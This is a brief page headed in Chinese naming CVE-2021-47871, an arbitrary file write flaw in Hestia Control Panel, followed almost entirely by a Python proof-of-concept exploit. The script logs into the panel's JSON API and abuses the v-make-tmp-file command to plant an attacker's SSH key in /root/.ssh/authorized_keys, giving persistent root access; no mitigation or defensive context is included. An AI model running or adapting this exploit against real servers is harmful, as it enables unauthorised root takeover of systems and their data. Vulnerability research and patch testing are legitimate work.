CVE-2021-47871 Hestia Control Panel 任意文件写入漏洞

#!/usr/bin/env python3 """ CVE-2021-47871 PoC - Hestia Control Panel Arbitrary File Write """ import requests import json TARGET_URL = "https://TARGET_IP:8083/index.php" USERNAME = "attacker" PASSWORD = "password" def exploit_arbitrary_file_write(): """ Exploit arbitrary file write via v-make-tmp-file API endpoint """ # Login to get session login_data = { "user": USERNAME, "password": PASSWORD, "token": "" } session = requests.Session() login_response = session.post(f"{TARGET_URL}?api=json", json=login_data) if login_response.status_code != 200: print("[-] Login failed") return False # Write SSH key to authorized_keys ssh_pub_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7..." payload = { "cmd": "v-make-tmp-file", "arg1": ssh_pub_key, "arg2": "/root/.ssh/authorized_keys" } response = session.post(f"{TARGET_URL}?api=json", json=payload) if response.status_code == 200: print("[+] File written successfully to /root/.ssh/authorized_keys") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_arbitrary_file_write()